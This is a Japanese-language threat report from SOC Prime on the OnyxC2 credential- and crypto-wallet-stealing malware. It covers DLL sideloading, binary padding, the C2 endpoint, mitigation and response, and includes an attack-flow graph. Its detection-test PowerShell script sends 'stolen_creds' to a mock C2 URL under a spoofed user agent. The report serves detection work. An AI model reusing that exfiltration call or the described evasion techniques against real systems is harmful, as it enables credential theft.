オンキシーC2：210アプリケーションを狙う新たなスティーラー

SOC Prime Team

フォローする

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

OnyxC2は、約210種類のアプリケーションをターゲットにした資格情報、二要素認証拡張、および暗号通貨ウォレットを狙うマルウェア・アズ・ア・サービスステーラーです。このプラットフォームは、管理パネル、ビルダー、リモートアクセス機能を含む商業スタイルのツールキットを提供しています。また、大きめの署名済みバイナリを用いたDLLサイドローディングや暗号化ペイロードコンポーネントなど、高度な回避手法に依存しています。

調査

BlackFogの研究者は複数のOnyxC2サンプルを調査し、120 MB以上のNVIDIAグラフィックスライブラリに偽装した悪意のあるDLLを伴う署名済みホスト実行ファイルを悪用するDLLサイドローディング手法を発見しました。ネットワーク解析では、特定のバックエンドAPIエンドポイントとHTTPSで通信しているマルウェアが確認されました。研究者はまた、単純な静的解析を回避するためにDLL内に埋め込まれた暗号化されたオーバーレイも発見しました。

緩和策

エンドポイントでのデータの流出防止コントロールを展開することで、使用されるプロセスにかかわらず不正な外向きトラフィックをブロックすることができます。セキュリティチームは署名済みバイナリと関連付けられた疑わしいDLLロードを監視し、ユーザ書き込み可能なパスに現れる異常に大きなファイルを調査すべきです。強力なアプリケーション制御ポリシーと不正なスケジュールタスクの監視も推奨されます。

対応策

OnyxC2アクティビティが検出された場合、さらなるデータ窃盗を防ぐために直ちに影響を受けるシステムを隔離します。復号化ペイロードを回復するためにフルメモリーダンプをキャプチャし、アクティブなHVNCセッションまたはSOCKS5プロキシアクティビティを確認します。最近作成されたすべてのスケジュールタスクを見直し、ブラウザ資格情報ストアを検査して侵害の証拠を探します。

graph TB %% クラス定義 classDef action fill:#99ccff classDef builtin fill:#cccccc classDef malware fill:#ff9999 classDef discovery fill:#ccffcc classDef exfiltration fill:#ffff99 %% 初期アクセスと実行 action_user_exec[“アクション – ユーザー実行: 悪意のあるファイル 説明: 被害者はパスワード保護されたアーカイブをダウンロードするよう誘導され、 その中には正規ソフトウェアを装った 悪意のあるインストーラーが含まれている。”] class action_user_exec action action_side_loading[“実行フローの乗っ取り: DLLサイドローディング 説明: 正規かつデジタル署名された実行ファイルを利用して、 borlndmm.dll という悪意のある肥大化したDLLを 読み込ませる。”] class action_side_loading action malware_dll[“難読化されたファイルまたは情報: バイナリパディング 説明: DLLは120MB以上に肥大化され、 正規のNVIDIAグラフィックス機能を含めることで セキュリティスキャナーの検知を回避する。”] class malware_dll malware %% 永続化とC2 action_persistence[“永続化 説明: オプションのスケジュールタスクによる 自動実行機能を利用する。”] class action_persistence action action_c2[“コマンド＆コントロール: アプリケーションレイヤープロトコル 説明: HTTPS を使用して /backend/api/app.php に ビーコン通信を行い、しばしば Cloudflare を経由して 秘匿性を高める。”] class action_c2 action %% 情報収集と認証情報アクセス action_discovery[“探索 説明: Chromium系およびGecko系ブラウザ45種類から、 保存されたログイン情報やCookieを含む ブラウザ情報を収集する。”] class action_discovery discovery action_cred_mgr[“認証情報アクセス: パスワードマネージャーの認証情報 説明: 5種類のパスワードマネージャーを標的として 認証情報を窃取する。”] class action_cred_mgr discovery action_lsass[“認証情報アクセス: OS認証情報ダンピング 説明: LSASSメモリをダンプして 認証情報を取得する。”] class action_lsass discovery %% 情報流出 action_exfil[“C2チャネル経由の情報流出 説明: パスワード、Cookie、ウォレット情報などの 窃取データが action=up_d リクエストを通じて アップロードされる。”] class action_exfil exfiltration %% 接続フロー action_user_exec –>|につながる| action_side_loading action_side_loading –>|利用する| malware_dll malware_dll –>|確立する| action_persistence action_persistence –>|開始する| action_c2 action_c2 –>|引き起こす| action_discovery action_discovery –>|につながる| action_cred_mgr action_discovery –>|につながる| action_lsass action_cred_mgr –>|データを提供する| action_exfil action_lsass –>|データを提供する| action_exfil action_exfil –>|通信に利用する| action_c2

攻撃フロー

攻撃の概要とコマンド: 敵は盗まれたブラウザ資格情報を流出させようとしています。ネットワークセキュリティ監視による検出を避けるため、彼らはポータブルTorバイナリを使用して匿名化トンネルを作成します。一度トンネルが確立されると、マルウェアはそのコマンド＆コントロール(C2)サーバーへの接続を開始します。正規のWebトラフィックに混じるため、マルウェアは自らのユーザーエージェントを「Cloudflare」と偽装し、Cloudflare プロキシの背後にホストされている特定のAPIエンドポイントをターゲットにします。この一連の流れは、検出ルールのコリレーションを引き起こすように設計されています。 tor コマンドライン引数と特定の /backend/api/app.php URLパターン。

リグレッションテストスクリプト:

# OnyxC2 ステーラー通信のシミュレーション

# 1. Torの存在のシミュレーション(ダミーファイル/プロセスの動作を作成)
# 実際のシナリオでは、これが実際のtor.exeになります
$TorPath = "$env:TEMPtor.exe"
"シミュレートされたTorバイナリコンテンツ" | Out-File -FilePath $TorPath

# コマンドラインで'tor'によるプロセス実行イベントを作成
Start-Process -FilePath "cmd.exe" -ArgumentList "/c echo トサービスを実行中" -WindowStyle Hidden

# 検出ロジック 'command_line|contains: tor' が当たるように、
# 文字列'tor'を含むコマンドを実行します
cmd.exe /c "echo torプロキシの初期化..."

# 2. C2ネットワーク接続のシミュレーション
# PowerShellを使用して特定のURLとユーザーエージェントでのネットワーク接続をシミュレートします
$C2Url = "https://cloudflare-proxy-mock.com/backend/api/app.php"
$UserAgent = "Cloudflare-Proxy-Agent/1.0"

Write-Host "C2通信を$C2Urlに試みています"
Invoke-WebRequest -Uri $C2Url -UserAgent $UserAgent -Method Post -Body "data=stolen_creds" -ErrorAction SilentlyContinue

クリーンアップコマンド:

# シミュレートされたアーティファクトを削除
Remove-Item -Path "$env:TEMPtor.exe" -Force -ErrorAction SilentlyContinue
Write-Host "シミュレーションのクリーンアップ完了。"

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加